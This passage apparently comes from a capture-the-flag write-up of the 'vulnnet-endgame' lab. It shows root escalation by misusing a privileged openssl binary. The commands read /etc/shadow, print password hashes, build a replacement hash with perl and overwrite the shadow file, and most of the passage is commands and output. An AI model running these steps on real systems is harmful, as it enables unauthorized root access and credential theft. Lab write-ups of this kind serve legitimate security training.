#   PermitLocalCommand no

Seems like we can, so we can use openssl to write to /root/.ssh/authorized_keys and get in nice and quick. Apparently we can do echo DATA | openssl enc -out "file_path", but I wonder if we can just guess the root flag and just do a read Op to win? 29 ... never lucky.

D='ssh-rsa AAAAFFFFFFYmk= kali@kali'
system@vulnnet-endgame:~/Utils$ echo $D | openssl enc -out "/root/.ssh/authorized_keys"
Can't open /root/.ssh/authorized_keys for writing, Permission denied
140265302499776:error:0200100D:system library:fopen:Permission denied:../crypto/bio/bss_file.c:72:fopen('/root/.ssh/authorized_keys','wb')
140265302499776:error:2006D002:BIO routines:BIO_new_file:system lib:../crypto/bio/bss_file.c:81:

Shit I bet there's no .ssh folder in there... Well I guess I have to do the long way and write to /etc/shadow...

system@vulnnet-endgame:~/Utils$ ./openssl enc -in /etc/shadow
root:$6$cB/S/D17$1FhKwiSpNpdxPcWJ4q91KOsJzucvpeTr8v9CRPaNmDF5SF64BcTHwR1Bx4xP3RqxK52.uZ38MHH4rQxamADbI/:19157:0:99999:7:::
...
...
system:$6$9oaZwdNG$jrpl883V5yMMdPAFvncio.JaEw3lx7by788qoORBJ1pV5OSGlfBX/ZjkI6qAEf.7Imb7rs6iaBlI4RBxcn.

Create a password...

perl -e 'print crypt("password","\$6\$saltsalt\$") . "\n"'
$6$saltsalt$qFmFH.bQmmtXzyBY0s9v7Oicd2z4XSIecDzlB5KiA2/jctKu9YterLp8wwnSq.qc.eoxqOmSuNp2xS0ktL3nh/
# Copy shadow to tmp
system@vulnnet-endgame:~/Utils$ ./openssl enc -in "/etc/shadow" > /tmp/t
# Edit my new password into there
system@vulnnet-endgame:~/Utils$ vi /tmp/t
# Write back
system@vulnnet-endgame:~/Utils$ cat /tmp/t | ./openssl enc -out "/etc/shadow"
# Root
system@vulnnet-endgame:~/Utils$ su root
Password: 
root@vulnnet-endgame:/home/system/Utils# id
uid=0(root) gid=0(root) groups=0(root)

30 GG!